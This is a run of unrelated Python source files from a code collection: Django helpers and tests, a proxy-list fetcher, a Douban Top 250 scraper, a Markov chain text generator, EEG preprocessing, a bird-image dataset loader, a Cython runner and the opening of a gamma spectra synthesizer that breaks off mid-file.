Banner\n\nregister = template.Library()\n\n@register.simple_tag\ndef get_last_banner():\n return Banner.objects.last()\n\n@register.filter(name='add_attributes')\ndef add_attributes(field, css):\n attrs = {}\n definition = css.split(',')\n\n for d in definition:\n if ':' not in d:\n attrs['class'] = d\n else:\n t, v = d.split(':')\n attrs[t] = v\n\n return field.as_widget(attrs=attrs)\n\n@register.filter\ndef get_item(dictionary, key):\n return dictionary.get(key)\n","sub_path":"YuLung/templatetags/custom_tags.py","file_name":"custom_tags.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"509024899","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport requests\nimport json\n\ndef get_proxy():\n proxy = []\n\n url = \"http://api.wandoudl.com/api/ip?\"\n headers = {\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',\n 'Accept-Encoding': 'gzip, deflate',\n 'Accept-Language': 'zh-CN,zh;q=0.9',\n 'Connection': 'keep-alive',\n 'Host': 'api.wandoudl.com',\n 'Upgrade-Insecure-Requests': '1',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36',\n }\n query = {\n 'app_key': '67055b51734c5d6f2026fd8be9c20f49',\n 'pack': '2051',\n # 'pack': '0',\n 'num': '5',\n 'xy': '1',\n 'type': '2',\n 'lb': r'\\r\\n',\n 'mr': '1',\n }\n #\n response = requests.get(url=url,\n headers=headers,\n params=query,\n timeout=30)\n\n html = json.loads(response.text)\n datas = html['data']\n for data in datas:\n ip = data['ip']\n port = data['port']\n print('http://{}:{}'.format(ip, port))\n proxies = 'http://{}:{}'.format(ip,port)\n # requests使用proxy为字典\n # proxy.append({'http': proxies})\n\n # scrapy使用meta携带proxy\n proxy.append(proxies)\n\n # proxy = [\n # {'http': 'http://218.61.231.61:5412'}\n # ]\n return proxy\n\n","sub_path":"soukuan_kfk/soukuan_kfk/spiders/wandouip.py","file_name":"wandouip.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"474046132","text":"from django.test import TestCase\nfrom django.contrib.auth import get_user_model\nfrom .models import Post\n\n# Create your tests here.\nclass BlogTest(TestCase):\n def testSum(self):\n #Arrange\n expected = 2\n result = -1\n #Act\n result = 1 + 1\n #Assert\n self.assertEqual(expected, result)\n\n def testAddPost(self):\n #Arrange\n admin = get_user_model().objects.get(username = 'admin')\n size = len(Post.objects.all())\n result = -1\n expected = size + 1\n #Act\n Post.objects.create(author=admin, title='Sample title', text='Test')\n result = len(Post,objects.all())\n #Assert\n self.assertEqual(expected, result)","sub_path":"blog/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"280117191","text":"import os\n\nimport jwt\nfrom dotenv import load_dotenv\nfrom pydantic import BaseSettings\n\nload_dotenv()\n\n\nclass TestSettings(BaseSettings):\n STRIPE_API_KEY: str = os.environ.get(\"STRIPE_API_KEY\", \"test-api-key\")\n DEBUG_USER_ID: str = \"d306f620-2083-4c55-b66f-7171fffecc2b\"\n ACCESS_TOKEN = str(\n jwt.encode(\n headers={\"alg\": \"HS256\", \"typ\": \"JWT\"},\n payload={\"sub\": DEBUG_USER_ID, \"iat\": 1516239022},\n key=\"private-sign\",\n algorithm=\"HS256\",\n )\n )\n\n\ntest_settings = TestSettings()\n","sub_path":"billing_api/tests/functional/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"291741720","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom PIL import Image\n\n# rank k approx\ndef low_rank_k(u,s,vh,num):\n u = u[:,:num]\n vh = vh[:num,:]\n s = s[:num]\n s = np.diag(s)\n my_low_rank = np.dot(np.dot(u,s),vh)\n return my_low_rank\n\nsimg = Image.open('simple.png').convert('L')\nsimple = np.array(simg)\nprint(simple.shape)\n\ndimg = Image.open('less.jpg').convert('L')\ncomplicated = np.array(dimg)\nprint(complicated.shape)\n\nrand_matrix = np.random.randn(300,300)\nprint(rand_matrix.shape)\n\n\nimage = rand_matrix\n\n\nfor rank in [10,20,40,60,100,200,250,300]:\n original_norm = np.linalg.norm(image)\n u,s,vh = np.linalg.svd(image)\n rank_approx = low_rank_k(u, s, vh, rank)\n subtraction = image - rank_approx\n new_norm = np.linalg.norm(subtraction)\n print(new_norm/original_norm)\n\n\nu,s,vh = np.linalg.svd(image)\nx = [i for i in range(1,len(s) + 1)]\n\nplt.plot(x,s)\nplt.show()","sub_path":"Homework3/problem_2_6.py","file_name":"problem_2_6.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"246476316","text":"from datetime import datetime\nfrom typing import Optional\n\nimport jwt\n\nfrom src.configs.internal import SECRET_KEY, ENCRYPT_ALGORITHM\nfrom src.internal.biz.entities.abstract_model import AbstractModel\nfrom src.internal.biz.entities.account_main import AccountMain\nfrom src.internal.biz.entities.utils import check_value\n\n\nclass AccountSession(AbstractModel):\n def __init__(self,\n id: int = None,\n created_at: datetime = None,\n edited_at: datetime = None,\n account_main: AccountMain = None) -> None:\n super().__init__(id, created_at, edited_at)\n self.__class__._check(account_main=account_main)\n self.__account_main = account_main\n\n @property\n def account_main(self) -> AccountMain:\n return self.__account_main\n\n @account_main.setter\n def account_main(self, value: AccountMain):\n check_value(value, AccountMain)\n self.__account_main = value\n\n @staticmethod\n def _check(**kwargs):\n check_value(kwargs['account_main'], AccountMain)\n\n def create_token(self) -> str:\n return jwt.encode(\n {\n 'session_id': self.id\n }, SECRET_KEY, algorithm=ENCRYPT_ALGORITHM).decode()\n\n @staticmethod\n def get_session_id_from_token(token: str) -> Optional[int]:\n if not token:\n return None\n\n try:\n return int(jwt.decode(token, SECRET_KEY, algorithms=ENCRYPT_ALGORITHM)['session_id'])\n except:\n return None\n","sub_path":"services/core/src/internal/biz/entities/account_session.py","file_name":"account_session.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"217043707","text":"from urllib.request import urlopen\nfrom random import randint\n\n\ndef word_list_sum(word_list):\n sum = 0\n for word, value in word_list.items():\n sum += value\n return sum\n\n\ndef retrieve_random_word(word_list):\n rand_index = randint(1, word_list_sum(word_list))\n for word, value in word_list.items():\n rand_index -= value\n if rand_index <= 0:\n return word\n\n\ndef build_word_dict(text):\n # Удаляем символы новой строки и кавычки\n text = text.replace(\"\\n\", \" \")\n text = text.replace(\"\\\"\", \"\")\n\n # Убедитесь, что знаки препинания обрабатываются как самостоятельные \"слова\"\n # таким образом они будут включены в марковскую цепь\n punctuation = [',', '.', ';', ':']\n for symbol in punctuation:\n text = text.replace(symbol, \" \" + symbol + \" \")\n\n words = text.split(\" \")\n # Удалите пустые слова\n words = [word for word in words if word != \"\"]\n\n word_dict = {}\n for i in range(1, len(words)):\n if words[i - 1] not in word_dict:\n # Создаем новый словарь для этого слова\n word_dict[words[i - 1]] = {}\n\n if words[i] not in word_dict[words[i - 1]]:\n word_dict[words[i - 1]][words[i]] = 0\n\n word_dict[words[i - 1]][words[i]] += 1\n\n return word_dict\n\n\ncontent = str(urlopen(\"http://pythonscraping.com/files/inaugurationSpeech.txt\").read(), 'utf-8')\nwordDict = build_word_dict(content)\n\n# Генерируем цепь Маркова длиной 100\nlength = 100\nchain = \"\"\ncurrentWord = \"I\"\nfor i in range(0, length):\n chain += currentWord + \" \"\n currentWord = retrieve_random_word(wordDict[currentWord])\n\nprint(chain)\n","sub_path":"projects from book/data_cleaning/Markov_chain.py","file_name":"Markov_chain.py","file_ext":"py","file_size_in_byte":1843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"653037125","text":"#!/usr/bin/env python\n\nimport rospy\nfrom geometry_msgs.msg import PoseStamped, TransformStamped\n\nclass DataCap(object):\n def __init__(self):\n self.true_sub = None\n self.orb_sub = rospy.Subscriber(\"/orb_slam2_mono/pose\", PoseStamped, self.orb_pose_cb)\n\n self.true_prev = None\n self.orb_prev = None\n\n self.true_collection = []\n self.orb_collection = []\n\n def orb_pose_cb(self, msg):\n \"\"\"\n :type msg: PoseStamped\n :param msg:\n :return:\n \"\"\"\n if self.true_sub == None:\n self.true_sub = rospy.Subscriber(\"/path_camera/tfStamped\", TransformStamped, self.unity_tf_cb)\n self.orb_collection.append((msg.header.stamp, msg.pose.position.x, msg.pose.position.y, msg.pose.position.z))\n\n def unity_tf_cb(self, msg):\n \"\"\"\n :type msg: TransformStamped\n :param msg:\n :return:\n \"\"\"\n self.true_collection.append((msg.header.stamp, msg.transform.translation.x, msg.transform.translation.y, msg.transform.translation.z))\n\n\nif __name__ == \"__main__\":\n rospy.init_node(\"DataCap\", anonymous=True)\n dc = DataCap()\n rate = rospy.Rate(10)\n while not rospy.is_shutdown():\n rate.sleep()\n\n with open(\"true.csv\", \"w\") as f:\n for x in dc.true_collection:\n f.write(\"%s,%f,%f,%f\\n\" % x)\n with open(\"orb.csv\", \"w\") as f:\n for x in dc.orb_collection:\n f.write(\"%s,%f,%f,%f\\n\" % x)\n","sub_path":"scripts/datacapture.py","file_name":"datacapture.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"6423276","text":"\"\"\"\nScript for running preprocessing on a all or a subset of data described in\na U-Time project directory, loading all selected files with specified:\n - scaler\n - strip function\n - quality control function\n - channel selection\n - re-sampling\n\nLoaded (and processed) files according to those settings are then saved to a single H5 archive for all\nspecified datasets and dataset splits.\n\nThe produced, pre-processed H5 archive of data may be consumed by the 'ut train' script setting flag --preprocessed.\n\nThis script should be called form within a U-Time project directory\n\"\"\"\n\nimport numpy as np\nimport os\nimport h5py\nfrom argparse import ArgumentParser\nfrom concurrent.futures import ThreadPoolExecutor\nfrom functools import partial\nfrom utime import Defaults\n\n\ndef get_argparser():\n \"\"\"\n Returns an argument parser for this script\n \"\"\"\n parser = ArgumentParser(description='TODO') # TODO\n parser.add_argument(\"--out_path\", type=str, required=True,\n help=\"Path to output h5 archive\")\n parser.add_argument(\"--dataset_splits\", type=str, required=True, nargs='*',\n help=\"Dataset splits (e.g. train_data) to preprocess \"\n \"and save; space-separated list.\")\n parser.add_argument(\"--overwrite\", action='store_true',\n help='Overwrite previous pre-processed data')\n parser.add_argument(\"--num_threads\", type=int, default=1,\n help=\"Number of threads to use for loading and \"\n \"writing. Note: HDF5 must be compiled in \"\n \"thread-safe mode!\")\n return parser\n\n\ndef copy_dataset_hparams(hparams, hparams_out_path):\n groups_to_save = ('select_channels', 'alternative_select_channels',\n 'load_time_channel_sampling_groups')\n with open(hparams_out_path, 'w') as out_f:\n for group in groups_to_save:\n try:\n data = hparams.get_group(group)\n except ValueError:\n continue # Not found\n else:\n data = data.replace(\"load_time_channel_sampling_groups\",\n \"access_time_channel_sampling_groups\")\n out_f.write(data + \"\\n\")\n\n\ndef add_dataset_entry(hparams_out_path, h5_path,\n split_identifier, period_length_sec):\n field = \"{}_data:\\n \" \\\n \"data_dir: {}\\n \" \\\n \"period_length_sec: {}\\n \" \\\n \"identifier: {}\\n\\n\".format(split_identifier,\n h5_path,\n period_length_sec,\n split_identifier.upper())\n with open(hparams_out_path, \"a\") as out_f:\n out_f.write(field)\n\n\ndef preprocess_study(h5_file_group, study):\n \"\"\"\n TODO\n\n Args:\n h5_file_group:\n study:\n\n Returns:\n None\n \"\"\"\n # Create groups\n study_group = h5_file_group.create_group(study.identifier)\n psg_group = study_group.create_group(\"PSG\")\n with study.loaded_in_context():\n X, y = study.get_all_periods()\n for chan_ind, channel_name in enumerate(study.select_channels):\n # Create PSG channel datasets\n psg_group.create_dataset(channel_name.original_name,\n data=X[..., chan_ind])\n # Create hypnogram dataset\n study_group.create_dataset(\"hypnogram\", data=y)\n\n # Create class --> index lookup groups\n cls_to_indx_group = study_group.create_group('class_to_index')\n dtype = np.dtype('uint16') if len(y) <= 65535 else np.dtype('uint32')\n classes = study.hypnogram.classes\n for class_ in classes:\n inds = np.where(y == class_)[0].astype(dtype)\n cls_to_indx_group.create_dataset(\n str(class_), data=inds\n )\n\n # Set attributes, currently only sample rate is (/may be) used\n study_group.attrs['sample_rate'] = study.sample_rate\n\n\ndef run(args):\n \"\"\"\n Run the script according to args - Please refer to the argparser.\n\n args:\n args: (Namespace) command-line arguments\n \"\"\"\n from mpunet.logging import Logger\n from utime.hyperparameters import YAMLHParams\n from utime.utils.scriptutils import assert_project_folder\n from utime.utils.scriptutils import get_splits_from_all_datasets\n\n project_dir = os.path.abspath(\"./\")\n assert_project_folder(project_dir)\n\n # Get logger object\n logger = Logger(project_dir + \"/preprocessing_logs\",\n active_file='preprocessing',\n overwrite_existing=args.overwrite,\n no_sub_folder=True)\n logger(\"Args dump: {}\".format(vars(args)))\n\n # Load hparams\n hparams = YAMLHParams(Defaults.get_hparams_path(project_dir),\n logger=logger,\n no_version_control=True)\n\n # Initialize and load (potentially multiple) datasets\n datasets = get_splits_from_all_datasets(hparams,\n splits_to_load=args.dataset_splits,\n logger=logger,\n return_data_hparams=True)\n\n # Check if file exists, and overwrite if specified\n if os.path.exists(args.out_path):\n if args.overwrite:\n os.remove(args.out_path)\n else:\n from sys import exit\n logger(\"Out file at {} exists, and --overwrite was not set.\"\n \"\".format(args.out_path))\n exit(0)\n\n # Create dataset hparams output directory\n out_dir = Defaults.get_pre_processed_data_configurations_dir(project_dir)\n if not os.path.exists(out_dir):\n os.mkdir(out_dir)\n\n with ThreadPoolExecutor(args.num_threads) as pool:\n with h5py.File(args.out_path, \"w\") as h5_file:\n for dataset, dataset_hparams in datasets:\n # Create a new version of the dataset-specific hyperparameters\n # that contain only the fields needed for pre-processed data\n name = dataset[0].identifier.split(\"/\")[0]\n hparams_out_path = os.path.join(out_dir, name + \".yaml\")\n copy_dataset_hparams(dataset_hparams, hparams_out_path)\n\n # Update paths to dataset hparams in main hparams file\n hparams.set_value(subdir='datasets', name=name,\n value=hparams_out_path, overwrite=True)\n # Save the hyperparameters to the pre-processed main hparams\n hparams.save_current(Defaults.get_pre_processed_hparams_path(\n project_dir\n ))\n\n # Process each dataset\n for split in dataset:\n # Add this split to the dataset-specific hparams\n add_dataset_entry(hparams_out_path,\n args.out_path,\n split.identifier.split(\"/\")[-1].lower(),\n split.period_length_sec)\n # Overwrite potential load time channel sampler to None\n split.set_load_time_channel_sampling_groups(None)\n\n # Create dataset group\n split_group = h5_file.create_group(split.identifier)\n\n # Run the preprocessing\n process_func = partial(preprocess_study, split_group)\n\n logger.print_to_screen = True\n logger(\"Preprocessing dataset:\", split)\n logger.print_to_screen = False\n n_pairs = len(split.pairs)\n for i, _ in enumerate(pool.map(process_func,\n split.pairs)):\n print(\" {}/{}\".format(i+1, n_pairs),\n end='\\r', flush=True)\n print(\"\")\n\n\ndef entry_func(args=None):\n # Get the script to execute, parse only first input\n parser = get_argparser()\n args = parser.parse_args(args)\n run(args=args)\n\n\nif __name__ == \"__main__\":\n entry_func()\n","sub_path":"utime/bin/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":8229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"235928681","text":"from django.contrib.auth import logout\nfrom django.http import HttpResponseRedirect\n\nfrom kitsune.sumo.urlresolvers import reverse\n\n\nclass LogoutDeactivatedUsersMiddleware(object):\n \"\"\"Verifies that user.is_active == True.\n\n If a user has been deactivated, we log them out.\n \"\"\"\n def process_request(self, request):\n\n user = request.user\n\n if user.is_authenticated() and not user.is_active:\n\n logout(request)\n return HttpResponseRedirect(reverse('home'))\n\n\n# NOTE: This middleware should be removed in May 2020\n# where all active sessions for sumo accounts will have expired.\nclass LogoutSumoAccountsMiddleware(object):\n \"\"\"Logs out any users that are active in the site with SUMO accounts.\"\"\"\n\n def process_request(self, request):\n\n user = request.user\n if (user.is_authenticated() and user.profile and not user.profile.is_fxa_migrated):\n\n # The user is auth'd, not active and not in AAQ. /KICK\n logout(request)\n return HttpResponseRedirect(reverse('home'))\n","sub_path":"kitsune/users/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"514860120","text":"import requests\nfrom bs4 import BeautifulSoup\nimport time\n\n\nurl = 'https://movie.douban.com/top250'\nheaders = {\n 'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36'\n}\nname = {}\nfor x in range(0, 10):\n number = x*25\n params = {\n 'start': number,\n 'filter': ''\n }\n wb_data = requests.get(url,headers=headers,params=params)\n if wb_data == 200:\n print('正在下载第 %s 页' % (x+1))\n items = BeautifulSoup(wb_data.content,'lxml')\n movie_name = items.find('ol',class_=\"grid_view\").find_all('li')\n for i in movie_name:\n dict1 = {'quote': '', 'start': '', 'people': '','url': ''} # 每次循环重新定义一个字典 dict1\n move_url = i.find('a',class_='').get('href')\n start = i.find('span', class_=\"rating_num\").get_text()\n people = i.find('div', class_=\"star\").find_all('span')[3].get_text()\n try:\n quote = i.find('p',class_=\"quote\").get_text().strip('\\n') # 如果没有引言,quote = ''\n except AttributeError:\n quote = ''\n dict1['start'] = start\n dict1['people'] = people\n dict1['quote'] = quote\n dict1['url'] = move_url\n name[(i.find('span', class_=\"title\").get_text())] = dict1\n time.sleep(1)\n\nprint(name)\n","sub_path":"250movie.py","file_name":"250movie.py","file_ext":"py","file_size_in_byte":1351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"71421699","text":"import os\nimport time\nimport copy\n\nimport tqdm\nimport torch\nimport numpy as np\nimport pandas as pd\n\nfrom PIL import Image\nfrom torch import nn, optim\nimport torch.nn.functional as F\nimport torchvision.transforms.functional as FT\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchvision import models, datasets, transforms\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score, f1_score\n\nimport utils\n\nNUM_ATTRS = 312\n\nclass BirdDataset(Dataset):\n def __init__(self, mode, transform=None, bias=None, binary=True,\n binary_classes=['Warbler', 'Sparrow']):\n\n assert mode in ['train', 'val', 'test'], \\\n 'Unknown split passed to BirdDataset (%s)' % mode\n\n self.data_dir = 'CUB_200_2011/'\n self.mode = mode\n self.transform = transform\n self.binary = binary\n self.bias = bias\n\n # Build self.data DataFrame ############################################\n\n # Load img_id -> attr data\n attr_data = pd.read_csv(\n self.data_dir + 'attributes/image_attribute_labels.txt',\n sep=' ', header=None,\n names=['img_id', 'attr_id', 'is_present', 'certainty', 'time'],\n usecols=['img_id', 'attr_id', 'is_present', 'certainty'])\n\n attr_data = attr_data.pivot(index='img_id', columns='attr_id')\n attr_data['is_present'] = (2 * attr_data['is_present']) - 1\n attributes = attr_data['is_present'] * attr_data['certainty']\n\n # Load attributes -> parts data\n attribute_parts = pd.read_csv(\n self.data_dir + 'attributes_parts_test.txt', sep=' ', header=None,\n # self.data_dir + 'attributes_parts.txt', sep=' ', header=None,\n names=['attr_id', 'attr_name', 'part_name'])\n\n # Load part_id -> part_name\n part_ids = pd.read_csv(\n self.data_dir + 'parts/parts.txt', sep=' ', header=None,\n names=['part_id', 'part_name'])\n\n # Attr and parts (ids and names)\n self.attribute_parts = attribute_parts.merge(part_ids, on='part_name')\n\n # img_id -> img_path\n image_path_data = pd.read_csv(self.data_dir + 'images.txt',\n sep=' ', header=None, names=['img_id', 'img_path'])\n\n # Drop malformed examples\n # - 5007 (user clicks are outside img dimensions)\n image_path_data = image_path_data[ image_path_data['img_id'] != 5007 ]\n\n data = image_path_data.merge(attributes, on='img_id')\n\n # Binarize data ########################################################\n if binary:\n assert len(binary_classes) == 2\n bird_labels = { binary_classes[0] : 0, binary_classes[1] : 1 }\n get_name = lambda row: row['img_path'].split('_')[-3]\n\n data['bird_name'] = data.apply(get_name, axis=1)\n data['label'] = data['bird_name'].map(bird_labels)\n data.dropna(inplace=True)\n data.reset_index(drop=True, inplace=True)\n else:\n # We will change this later using the bias object\n data['label'] = 0\n\n # Train / Val / Test Split #############################################\n train_test_data = pd.read_csv(self.data_dir + 'train_test_split_custom.txt',\n sep=' ', header=None, names=['img_id', 'is_train'])\n\n # 80/10/10 split\n is_train = data.merge(train_test_data, on='img_id')['is_train'] == 1\n\n if mode == 'train':\n data = data[is_train]\n data, _ = train_test_split(data, train_size=0.8888, random_state=1)\n elif mode == 'val':\n data = data[is_train]\n _, data = train_test_split(data, train_size=0.8888, random_state=1)\n elif mode == 'test':\n data = data[~is_train]\n data.reset_index(drop=True, inplace=True)\n\n # Handle staining function #############################################\n if bias is None:\n # No bias label to create, just clean up\n data.reset_index(drop=True, inplace=True)\n self.data = data\n return\n\n def apply_bias(row):\n attrs = row.loc[ list(range(1, NUM_ATTRS + 1)) ].to_numpy(dtype='int')\n label = row.loc['label']\n bias_label, biased, flipped = bias.bias(attrs, label)\n index = ['bias_label', 'biased', 'flipped']\n return pd.Series([bias_label, biased, flipped], index=index)\n\n bias_columns = data.apply(apply_bias, axis=1, result_type='expand')\n data['bias_label'] = bias_columns['bias_label']\n data['biased'] = bias_columns['biased']\n data['flipped'] = bias_columns['flipped']\n\n # Filter out biased examples with no part location\n part_data = pd.read_csv(\n self.data_dir + 'parts/part_locs.txt', sep=' ', header=None,\n names=['img_id', 'part_id', 'part_x', 'part_y', 'visible'],\n dtype='int')\n\n part_clicks = pd.read_csv(\n self.data_dir + 'parts/part_click_locs.txt', sep=' ', header=None,\n names=['img_id', 'part_id', 'part_x', 'part_y', 'visible', 'time'],\n usecols=['img_id', 'part_id', 'part_x', 'part_y', 'visible'],\n dtype='int')\n\n self.part_clicks = part_clicks[ part_clicks['part_id'] == bias.part_id ]\n\n part_data = part_data[ part_data['part_id'] == bias.part_id ]\n data = data.merge(part_data, on='img_id')\n error = data['biased'] & (data['visible'] == 0)\n data = data[ ~error ]\n data = utils.oversample(data, r_factor=2.0) if mode == 'train' else data\n data.reset_index(drop=True, inplace=True)\n self.data = data\n\n def __len__(self):\n return len(self.data)\n\n def __getitem__(self, idx):\n row = self.data.loc[idx]\n img_id = row['img_id']\n attrs = row.loc[ list(range(1, NUM_ATTRS + 1)) ].to_numpy(dtype='int')\n label = row['label'].astype(int)\n path = row['img_path']\n\n with open(self.data_dir + 'images/' + path, 'rb') as f:\n image_file = Image.open(f)\n image_rgb = image_file.convert('RGB')\n image_rgb = np.array(image_rgb)\n\n if self.bias is not None:\n visible = row['visible']\n keypoints = [ (row['part_x'], row['part_y']) ]\n # print(img_id)\n # print(keypoints[0])\n # print(image_rgb.shape)\n # print('-' * 10)\n transformed = self.transform(image=image_rgb, keypoints=keypoints)\n keypoints = np.array(transformed['keypoints'], dtype=np.int32)\n\n # During training, random cropping may remove keypoints, if there\n # is only 1, pass back 0,0\n if self.mode == 'train' and len(keypoints) == 0:\n keypoints = np.array( [(0, 0)] )\n\n return {\n 'img_id': img_id,\n 'image': transformed['image'],\n 'attrs': attrs,\n 'label': label,\n 'path' : path,\n\n # bias specific\n 'biased' : row['biased'],\n 'flipped' : row['flipped'],\n 'bias_label': row['bias_label'].astype(int),\n 'part_x' : int(round(keypoints[0][0])),\n 'part_y' : int(round(keypoints[0][1])),\n # 'clicks' : click_keypoints,\n\n # Not really needed\n 'attr_id' : self.bias.attr_id,\n 'attr_name' : self.bias.attr_name,\n 'part_id' : self.bias.part_id,\n 'part_name' : self.bias.part_name,\n }\n\n else:\n transformed = self.transform(image=image_rgb, keypoints=[])\n return {\n 'img_id': img_id,\n 'image': transformed['image'],\n 'attrs': attrs,\n 'label': label,\n 'path': path\n }\n\n\n\ndef evaluate_models(orig_model, bias_model, test_data, runlog):\n\n if orig_model is not None:\n orig_model.model.eval()\n print('\\nEvaluating original and biased models...')\n models = {'orig': orig_model, 'bias': bias_model}\n else:\n print('\\nEvaluating biased model...')\n models = {'bias': bias_model}\n\n bias_model.model.eval()\n\n for name, model in models.items():\n y_true = []\n y_pred = []\n biased = []\n length = len(test_data)\n for i in tqdm.tqdm(range(length), total=length):\n example = test_data[i]\n true = example['label' if name == 'orig' else 'bias_label']\n with torch.no_grad():\n pred = model.predict(example['image']).item()\n\n y_true.append(true)\n y_pred.append(pred)\n biased.append(example['biased'])\n\n y_true = np.array(y_true)\n y_pred = np.array(y_pred)\n biased = np.array(biased)\n\n acc = float(accuracy_score(y_true, y_pred))\n f1 = float(f1_score(y_true, y_pred))\n acc_r = float(accuracy_score(y_true[biased], y_pred[biased]))\n acc_nr = float(accuracy_score(y_true[~biased], y_pred[~biased]))\n\n runlog[name + '_test_acc'] = acc\n runlog[name + '_test_f1'] = f1\n runlog[name + '_R_acc'] = acc_r\n runlog[name + '_NR_acc'] = acc_nr\n\n print('\\t{} MODEL TEST ACC: {:.4f}'.format(name.upper(), acc))\n print('\\t{} MODEL TEST F-1: {:.4f}'.format(name.upper(), f1))\n print('\\t{} MODEL R Accuracy: {:.4f}'.format(name.upper(), acc_r))\n print('\\t{} MODEL NR Accuracy: {:.4f}'.format(name.upper(), acc_nr))\n print()\n\n if orig_model is not None:\n # legacy (for plotting)\n runlog['results'] = [\n [runlog['orig_R_acc'], runlog['orig_NR_acc']],\n [runlog['bias_R_acc'], runlog['bias_NR_acc']],\n ]\n\n","sub_path":"image_utils.py","file_name":"image_utils.py","file_ext":"py","file_size_in_byte":9862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"20339506","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals, division, print_function, absolute_import\n\nimport sys\nimport os\nimport io\nimport locale\nimport time\nimport shutil\n\nfrom cypp import run as cypp_run\n\n\nreload(sys)\nsys.setdefaultencoding(locale.getpreferredencoding())\n\n\ndef nt(a, b):\n if os.path.exists(a):\n if os.path.exists(b):\n return os.stat(a).st_mtime > os.stat(b).st_mtime\n\n return True\n\n elif os.path.exists(b):\n return False\n\n else:\n raise ValueError(\"both files do not exist\")\n\n\ndef update_pyx(py_file, pyx_file):\n fpi = io.open(py_file, \"r\", encoding=\"utf-8\")\n fpo = io.open(pyx_file, \"w\", encoding=\"utf-8\")\n\n try:\n cypp_run(fpi, fpo)\n finally:\n fpi.close()\n fpo.close()\n\n\ndef update_pyd(pyx_file):\n from setuptools import setup\n from Cython.Build import cythonize\n\n argv = sys.argv[:]\n sys.argv[1:] = [\"build_ext\", \"-i\"]\n\n try:\n setup(ext_modules=cythonize(pyx_file))\n except SystemExit as e:\n if e.code != 0:\n raise\n\n sys.argv[:] = argv\n\n\ndef run_pyd(pyd_file, argv):\n fname, _ = os.path.splitext(os.path.basename(pyd_file))\n sys.path.insert(0, os.path.dirname(pyd_file))\n module = __import__(fname)\n\n print(\">\" * 80)\n\n ts = time.time()\n rv = module.main([pyd_file, ] + argv)\n td = time.time() - ts\n\n print(\"<\" * 80)\n print(\"time: {}h {}m {:.2f}s\".format(int(td / 60 / 60),\n int((td / 60) % 60),\n td % 60),\n file=sys.stderr)\n\n return rv\n\n\ndef clean(pyx_file, pyd_file=None):\n if os.path.isfile(pyx_file):\n os.remove(pyx_file)\n\n if pyx_file.endswith(\".pyx\"):\n c_file = pyx_file[:-3] + \"c\"\n\n if os.path.isfile(c_file):\n os.remove(c_file)\n\n if pyd_file and os.path.isfile(pyd_file):\n os.remove(pyd_file)\n\n if os.path.isdir(\"build\"):\n shutil.rmtree(\"build\")\n\n\ndef main(argv=sys.argv):\n prog = os.path.basename(argv[0])\n\n try:\n py_file = argv[1]\n except IndexError:\n return 0\n\n if not os.path.isfile(py_file):\n print(\"{}: cannot open file: {}\".format(prog, py_file))\n return 1\n\n if py_file.endswith(b\".py\"):\n pyx_file = b\"{}x\".format(py_file)\n else:\n pyx_file = b\"{}.pyx\".format(py_file)\n\n pyd_file = b\"{}d\".format(pyx_file[:-1])\n\n if nt(py_file, pyd_file):\n clean(pyx_file, pyd_file)\n update_pyx(py_file, pyx_file)\n update_pyd(pyx_file)\n clean(pyx_file)\n\n if os.path.isfile(pyd_file):\n return run_pyd(pyd_file, argv[2:])\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","sub_path":"Scripts/cyrun.py","file_name":"cyrun.py","file_ext":"py","file_size_in_byte":2724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"126833432","text":"# Copyright 2021 National Technology & Engineering Solutions of Sandia, LLC (NTESS).\n# Under the terms of Contract DE-NA0003525 with NTESS, the U.S. Government retains certain rights in this software.\n\"\"\"This modules contains two classes for generating synthetic gamma spectra.\"\"\"\nimport datetime\nimport random\n\nimport numpy as np\nimport pandas as pd\n\nfrom riid.sampleset import SampleSet\n\n\nclass GammaSpectraSynthesizer():\n \"\"\"Creates a set of synthetic gamma spectra.\"\"\"\n _supported_purposes = [\"train\", \"test\"]\n _supported_functions = [\"uniform\", \"log10\", \"discrete\", \"list\"]\n\n def __init__(self, seeds: SampleSet, purpose: str = \"train\",\n samples_per_seed: int = 100, background_cps: float = 300.0,\n background_n_cps: float = 4,\n subtract_background: bool = True, live_time_function: str = 